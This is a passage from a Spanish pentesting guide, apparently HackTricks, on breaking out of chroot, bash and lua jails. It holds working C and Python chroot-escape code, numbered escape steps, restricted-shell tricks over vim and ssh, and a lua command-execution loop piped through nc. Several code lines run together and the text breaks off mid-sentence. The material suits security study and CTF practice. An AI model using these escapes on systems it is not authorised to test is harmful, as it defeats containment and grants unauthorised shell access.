De wikipedia: El mecanismo chroot no está diseñado para defenderse contra manipulaciones intencionales por parte de usuarios privilegiados (root). En la mayoría de los sistemas, los contextos de chroot no se acumulan correctamente y los programas en chroot con suficientes privilegios pueden realizar un segundo chroot para escapar.
Normalmente, esto significa que para escapar necesitas ser root dentro del chroot.
La herramientachw00t fue creada para abusar de los siguientes escenarios y escapar de chroot.
Root + CWD
Si eres root dentro de un chroot, puedes escapar creando otro chroot. Esto se debe a que 2 chroots no pueden coexistir (en Linux), así que si creas una carpeta y luego creas un nuevo chroot en esa nueva carpeta estando fuera de ella, ahora estarás fuera del nuevo chroot y, por lo tanto, estarás en el FS.
Esto ocurre porque normalmente chroot NO mueve tu directorio de trabajo al indicado, por lo que puedes crear un chroot pero estar fuera de él.
Normalmente no encontrarás el binario chroot dentro de una cárcel chroot, pero podrías compilar, subir y ejecutar un binario:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
<details>
<summary>Python</summary>
</details>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Esto es similar al caso anterior, pero en este caso el atacante almacena un descriptor de archivo del directorio actual y luego crea el chroot en una nueva carpeta. Finalmente, como tiene acceso a ese FDfuera del chroot, lo accede y escapa.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD se puede pasar a través de Unix Domain Sockets, entonces:
* Crear un proceso hijo (fork)
* Crear UDS para que el padre y el hijo puedan comunicarse
* Ejecutar chroot en el proceso hijo en una carpeta diferente
* En el proceso padre, crear un FD de una carpeta que está fuera del chroot del nuevo proceso hijo
* Pasar al proceso hijo ese FD usando el UDS
* El proceso hijo hace chdir a ese FD, y como está fuera de su chroot, escapará de la cárcel
</div>
###  Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montar el dispositivo raíz (/) en un directorio dentro del chroot
* Hacer chroot en ese directorio
Esto es posible en Linux
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Montar procfs en un directorio dentro del chroot (si aún no está)
* Buscar un pid que tenga una entrada de root/cwd diferente, como: /proc/1/root
* Hacer chroot en esa entrada
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Crear un Fork (proceso hijo) y hacer chroot en una carpeta más profunda en el FS y CD en ella
* Desde el proceso padre, mover la carpeta donde se encuentra el proceso hijo a una carpeta anterior al chroot de los hijos
* Este proceso hijo se encontrará fuera del chroot
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Hace tiempo los usuarios podían depurar sus propios procesos desde un proceso de sí mismos... pero esto ya no es posible por defecto
* De todos modos, si es posible, podrías usar ptrace en un proceso y ejecutar un shellcode dentro de él ([ver este ejemplo](linux-capabilities.md#cap_sys_ptrace)).
</div>
## Bash Jails
### Enumeración
Obtener información sobre la cárcel:
```bash
echo $SHELL
echo $PATH
env
export
pwd
Modificar PATH
Comprueba si puedes modificar la variable de entorno PATH
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
Usando vim
:setshell=/bin/sh:shell
Crear script
Comprueba si puedes crear un archivo ejecutable con /bin/bash como contenido
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
Obtener bash desde SSH
Si accedes a través de ssh, puedes usar este truco para ejecutar una shell bash:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Tenga en cuenta que cada vez que ejecute el anterior one liner en un entorno lua diferente, el orden de las funciones cambia. Por lo tanto, si necesita ejecutar una función específica, puede realizar un ataque de fuerza bruta cargando diferentes entornos lua y llamando a la primera función de la biblioteca:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) doprint(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Obtener una shell interactiva de lua: Si te encuentras dentro de una shell limitada de lua, puedes obtener una nueva shell de lua (y con suerte ilimitada) llamando:
